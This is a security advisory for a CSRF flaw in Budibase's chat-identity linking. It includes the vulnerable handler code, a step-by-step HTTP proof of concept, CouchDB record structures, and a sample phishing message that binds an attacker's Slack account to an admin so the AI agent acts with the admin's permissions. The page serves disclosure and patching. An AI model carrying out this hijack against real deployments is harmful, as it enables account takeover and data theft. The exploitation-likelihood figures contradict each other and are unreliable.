CVE-2026-50132: Budibase: account hijack via chat identity CSRF

GHSA-v7j5-vc4m-723w HIGH
Published June 22, 2026
CISO Take

Budibase 3.37.2 contains a public API endpoint that permanently links an external chat identity (Slack/Discord/Teams) to any authenticated user's Budibase account with no consent UI and no CSRF protection — an attacker holding only a Slack seat in the same workspace can silently bind their own identity to a victim admin's account with a single social-engineered click on a URL that appears on the company's own domain. The attack surface is Budibase's AI agent integration: once linked, the attacker queries all application data and triggers automations indefinitely as the victim, surviving password resets and token rotation because the binding persists as a permanent CouchDB document. The EPSS percentile places this in the top 7% of CVEs by exploitation likelihood, and the social engineering bar is near zero — the handoff URL is indistinguishable from a legitimate Budibase onboarding link. Upgrade @budibase/server to 3.39.0 immediately per GHSA-v7j5-vc4m-723w, audit all chatidentitylink_ CouchDB documents for unauthorized bindings, and block /api/chat-links/*/handoff at the WAF as an emergency workaround if patching cannot be immediate.

Sources: GitHub Advisory EPSS ATLAS NVD

What is the risk?

High risk for any organization running Budibase with Slack, Discord, or MS Teams AI agent integration enabled. Exploitation requires only a Slack account in the target workspace — available to any employee, contractor, or compromised insider — plus one click from the victim. Zero technical skill beyond issuing a slash command is needed. The permanent CouchDB write means the attacker's access survives standard incident response steps such as password resets and session invalidation. Admin-level victims expose the entire Budibase tenant. The AI agent layer further amplifies blast radius by serving as a ready-made query proxy: the attacker does not need to know the application schema; they simply ask the agent natural language questions and it executes with the victim's credentials.

How does the attack unfold?

Token Generation
Attacker issues the /link slash command to the Budibase Slack bot, receiving a private handoff URL that embeds the attacker's own Slack externalUserId inside the session token stored in Redis.
AML.T0079
Social Engineering Delivery
Attacker posts the crafted handoff URL to a victim via Slack, framing it as a legitimate Budibase AI agent onboarding step; the company-domain URL passes visual inspection and matches the product's own UX pattern.
AML.T0011.003
Silent Identity Binding
Authenticated victim clicks the URL; the unprotected public endpoint immediately writes a permanent CouchDB document binding the attacker's Slack identity to the victim's Budibase user ID with no consent page, no CSRF token, and no disclosure to the victim.
AML.T0049
Persistent Agent Impersonation
Attacker sends natural language commands to the Budibase AI agent from their own Slack account; all tool invocations — data reads, row writes, automation triggers — execute indefinitely with the victim's full permissions surviving password resets and session rotation.
AML.T0053

What systems are affected?

Package Ecosystem Vulnerable Range Patched
@budibase/server npm < 3.39.0 3.39.0

Do you use @budibase/server? You're affected.

How severe is it?

CVSS 3.1
7.3 / 10
EPSS
0.0%
chance of exploitation in 30 days
Higher than 7% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Unchanged
C High
I High
A None

What should I do?

6 steps
  1. Patch immediately: upgrade @budibase/server to 3.39.0 (GHSA-v7j5-vc4m-723w, PR #18793, commit cf66fb4).

  2. Emergency workaround if patching is blocked: add a WAF or reverse proxy rule to block requests to /api/chat-links/*/handoff until the patch is applied.

  3. Post-incident audit: query CouchDB for all documents with _id matching 'chatidentitylink_*' and cross-reference externalUserName against the expected identity of the linkedBy Budibase user — any mismatch is a confirmed exploit.

  4. Review AI agent query logs for anomalous data access originating from known-attacker Slack IDs in the pre-patch window.

  5. Revoke unauthorized identity link documents and notify affected users of any confirmed binding.

  6. Ongoing detection: alert on chatidentitylink documents where the Budibase account owner's email domain does not match the Slack workspace registration of the externalUserName.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 9 - Risk management system
ISO 42001
A.6.2 - Roles, responsibilities and authorities A.9.3 - Access control to AI systems
NIST AI RMF
GOVERN 1.1 - Policies and accountability for AI risk
OWASP LLM Top 10
LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-50132?

Budibase 3.37.2 contains a public API endpoint that permanently links an external chat identity (Slack/Discord/Teams) to any authenticated user's Budibase account with no consent UI and no CSRF protection — an attacker holding only a Slack seat in the same workspace can silently bind their own identity to a victim admin's account with a single social-engineered click on a URL that appears on the company's own domain. The attack surface is Budibase's AI agent integration: once linked, the attacker queries all application data and triggers automations indefinitely as the victim, surviving password resets and token rotation because the binding persists as a permanent CouchDB document. The EPSS percentile places this in the top 7% of CVEs by exploitation likelihood, and the social engineering bar is near zero — the handoff URL is indistinguishable from a legitimate Budibase onboarding link. Upgrade @budibase/server to 3.39.0 immediately per GHSA-v7j5-vc4m-723w, audit all chatidentitylink_ CouchDB documents for unauthorized bindings, and block /api/chat-links/*/handoff at the WAF as an emergency workaround if patching cannot be immediate.

Is CVE-2026-50132 actively exploited?

No confirmed active exploitation of CVE-2026-50132 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-50132?

1. Patch immediately: upgrade @budibase/server to 3.39.0 (GHSA-v7j5-vc4m-723w, PR #18793, commit cf66fb4). 2. Emergency workaround if patching is blocked: add a WAF or reverse proxy rule to block requests to /api/chat-links/*/handoff until the patch is applied. 3. Post-incident audit: query CouchDB for all documents with _id matching 'chatidentitylink_*' and cross-reference externalUserName against the expected identity of the linkedBy Budibase user — any mismatch is a confirmed exploit. 4. Review AI agent query logs for anomalous data access originating from known-attacker Slack IDs in the pre-patch window. 5. Revoke unauthorized identity link documents and notify affected users of any confirmed binding. 6. Ongoing detection: alert on chatidentitylink documents where the Budibase account owner's email domain does not match the Slack workspace registration of the externalUserName.

What systems are affected by CVE-2026-50132?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent integrations, enterprise AI chat platforms, low-code AI automation platforms.

What is the CVSS score for CVE-2026-50132?

CVE-2026-50132 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.02%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI agent integrationsenterprise AI chat platformslow-code AI automation platforms

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0012 Valid Accounts
AML.T0049 Exploit Public-Facing Application
AML.T0053 AI Agent Tool Invocation
AML.T0086 Exfiltration via AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Art. 9
ISO 42001: A.6.2, A.9.3
NIST AI RMF: GOVERN 1.1
OWASP LLM Top 10: LLM08

What are the technical details?

Original Advisory

## Title **Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account** ## Severity **High** — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = **7.3** ## Affected Product - **Product:** Budibase - **Version:** 3.37.2 (introduced in this version) - **Component:** `packages/server/src/api/controllers/ai/chatIdentityLinks.ts` - **Endpoint:** `GET /api/chat-links/:instance/:token/handoff` ## Vulnerability Type - CWE-352: Cross-Site Request Forgery - CWE-284: Improper Access Control --- ## Vulnerability Description `GET /api/chat-links/:instance/:token/handoff` is a **public endpoint** (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with **no consent UI and no CSRF protection**. The session token in the URL is created **by the attacker** (from their own `/link` slash command) and embeds **the attacker's `externalUserId`**. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with `"Authentication succeeded."` — no indication of what was linked. ### Route Registration ```typescript // packages/server/src/api/routes/chat.ts:22 router.get( "/api/chat-links/:instance/:token/handoff", controller.handoffChatLinkSession // registered in publicRoutes — zero auth middleware ) ``` ### Vulnerable Controller (full function) ```typescript // packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 export async function handoffChatLinkSession( ctx: UserCtx<void, string, { instance: string; token: string }> ) { const token = resolveToken(ctx.params.token) const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token) if (!session) { throw new HTTPError("Link token is invalid or has expired", 400) } assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance }) if (!ctx.isAuthenticated) { // Unauthenticated: set return URL cookie, redirect to login // After login, same URL is visited again → attack completes silently utils.setCookie(ctx, `/api/chat-links/${ctx.params.instance}/${token}/handoff`, "budibase:returnurl", { sign: false } // ← unsigned cookie, but not an open redirect ) ctx.redirect("/builder/auth/login") return } const currentGlobalUserId = getCurrentGlobalUserId(ctx) const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token) // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓ await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({ provider: consumedSession.provider, externalUserId: consumedSession.externalUserId, // ← ATTACKER's Slack ID externalUserName: consumedSession.externalUserName, teamId: consumedSession.teamId, globalUserId: currentGlobalUserId, // ← VICTIM's Budibase user ID linkedBy: currentGlobalUserId, }) ctx.type = "text/html" ctx.body = renderLinkSuccessPage() // ← "Authentication succeeded." — no disclosure to user } ``` --- ## Proof of Concept — Annotated HTTP Trace ### Setup | Role | Identity | |---|---| | Attacker | Slack user `U_ATTACKER` (e.g. `UA12345678`), Budibase tenant `acme`, workspace ID `ws_abc123` | | Victim | Budibase admin, session cookie `budibase:session=VICTIM_SESSION` | --- ### Step 1 — Attacker triggers `/link` in Slack Attacker types `/link` to the Budibase Slack bot. Budibase server creates a Redis session: **Redis key:** `chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx` **Redis value (exact structure from `ChatIdentityLinkSession` interface):** ```json { "token": "tok_xxxxxxxxxxxxxxxx", "tenantId": "acme", "workspaceId": "ws_abc123", "provider": "slack", "externalUserId": "UA12345678", "externalUserName": "attacker", "teamId": "T_ACME_SLACK", "createdAt": "2026-05-02T10:00:00.000Z", "expiresAt": "2026-05-02T10:10:00.000Z" } ``` Slack DM sent privately to attacker: ``` Link your Slack account to continue chatting with this agent. https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff ``` **Key observation:** This URL embeds the attacker's own `externalUserId` inside the token. The attacker has full control over which identity gets linked. --- ### Step 2 — Attacker forwards URL to victim Attacker posts in the company Slack: ``` @admin please click this to connect your Budibase account for AI agent access: https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff ``` --- ### Step 3 — Victim clicks link (authenticated) **HTTP Request (victim's browser):** ```http GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1 Host: budibase.company.com Cookie: budibase:session=VICTIM_SESSION ``` **HTTP Response:** ```http HTTP/1.1 200 OK Content-Type: text/html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Authentication succeeded</title> </head> <body> <p>Authentication succeeded.</p> <script> if (window.opener && !window.opener.closed) { try { window.opener.focus(); window.close() } catch (error) {} } </script> </body> </html> ``` The victim sees "Authentication succeeded." with no mention of Slack, no mention of `attacker`, no mention of what capabilities were granted. **CouchDB global-db document written immediately after (exact structure from `upsertChatIdentityLink`):** ```json { "_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678", "tenantId": "acme", "provider": "slack", "externalUserId": "UA12345678", "globalUserId": "ro_global_us_VICTIM_ADMIN_ID", "linkedAt": "2026-05-02T10:00:42.000Z", "linkedBy": "ro_global_us_VICTIM_ADMIN_ID", "externalUserName": "attacker", "teamId": "T_ACME_SLACK", "createdAt": "2026-05-02T10:00:42.000Z", "updatedAt": "2026-05-02T10:00:42.000Z" } ``` The mapping is now permanent. `externalUserId = UA12345678` (attacker) → `globalUserId = ro_global_us_VICTIM_ADMIN_ID` (victim). --- ### Step 4 — Attacker impersonates victim via AI agent Attacker sends any message to the Budibase Slack bot from their own account (`UA12345678`). The chat handler resolves the identity: ```typescript // packages/server/src/api/controllers/webhook/chatHandler.ts:421 const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({ provider: AgentChannelProvider.SLACK, externalUserId: "UA12345678", // ← attacker's Slack ID teamId: "T_ACME_SLACK", }) // existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID" const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID") // All agent tool calls now execute with victim admin's permissions ``` The attacker can now ask the agent: > "Show me all rows in the Customers table" > "Trigger the 'Send Invoice' automation for customer ID 42" > "What files are in the knowledge base?" Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening. --- ### Step 3b — Variant: Victim Not Yet Authenticated If the victim is not currently logged in when they click the URL: **HTTP Request:** ```http GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1 Host: budibase.company.com ``` **HTTP Response:** ```http HTTP/1.1 302 Found Location: /builder/auth/login Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/ ``` After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3. --- ## Impact | Dimension | Detail | |---|---| | Confidentiality | **High** — attacker reads all table rows, files, and knowledge base data accessible to victim | | Integrity | **High** — attacker writes rows and triggers automations (email, external API calls, record creation) as victim | | Availability | None | | Auth required | **Low** — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot | | User interaction | **Required** — victim clicks one link (trivial social engineering in any enterprise Slack) | | Scope | Unchanged — impact is within the victim's Budibase tenant | | Persistence | **Permanent** — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation | --- ## Why Severity Is High (Not Medium) The social engineering bar is near zero in enterprise Slack: - The link looks like a legitimate Budibase URL on the company domain - The message pattern ("link your account for AI agent access") matches the product's own UX - A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious - The effect is **permanent and silent** — the victim never learns their account was linked Combined with admin-level access to all application data and automation triggers, this meets the bar for High. --- ## Remediation ### Minimum Fix — Add Consent Page Convert the handoff to a two-step flow: ``` GET /api/chat-links/:instance/:token/handoff → Show consent page: "You are linking your Budibase account to [externalUserName]'s Slack identity ([provider]). This allows them to interact with AI agents as you. [Confirm] [Cancel]" POST /api/chat-links/:instance/:token/handoff (with CSRF token) → Perform the upsertChatIdentityLink() write ``` Moving the write to `POST` removes it from `publicRoutes`, making Budibase's existing CSRF middleware apply automatically. ### Additional Hardening - Show the `externalUserName` and provider on the consent page - Log the event to the audit trail (both identities, timestamp, IP) - Optionally restrict linking to users with explicit permission (not all roles) --- Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr ## References - `packages/server/src/api/routes/chat.ts:22` — public route registration - `packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110` — full vulnerable controller - `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165` — session creation (embeds attacker's externalUserId) - `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247` — upsertChatIdentityLink (permanent write) - `packages/server/src/api/controllers/webhook/chatHandler.ts:421` — identity resolution during agent message handling - `packages/server/src/ai/tools/budibase/automations.ts` — automation trigger capability - `packages/server/src/ai/tools/budibase/rows.ts` — row read/write capability - `packages/types/src/sdk/chatIdentityLinks.ts` — session + link type definitions - CWE-352: Cross-Site Request Forgery - CWE-284: Improper Access Control

Exploitation Scenario

An attacker holding a Slack account in the target company workspace issues the /link slash command to the Budibase Slack bot. The bot responds privately with a handoff URL embedding the attacker's own Slack user ID (e.g. UA12345678) in the session token. The attacker posts this URL in a company Slack channel targeting a Budibase admin: 'Hi @admin — IT is rolling out AI agent access today, please click this link to link your Budibase account: https://budibase.company.com/api/chat-links/ws_abc123/tok_xxx/handoff'. Because the URL is on the company's own domain and the message pattern mirrors Budibase's own UX, the admin clicks without suspicion. The public endpoint executes immediately, writing a permanent CouchDB document binding UA12345678 (attacker) to the admin's Budibase user ID. The admin sees 'Authentication succeeded.' with no disclosure of what was linked. From that moment, any message the attacker sends to the Budibase Slack bot executes with admin permissions — reading customer tables, triggering invoice automations, exfiltrating knowledge base files — indefinitely and silently.

Weaknesses (CWE)

CWE-284 — Improper Access Control: The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

  • [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Timeline

Published
June 22, 2026
Last Modified
June 22, 2026
First Seen
June 23, 2026

Related Vulnerabilities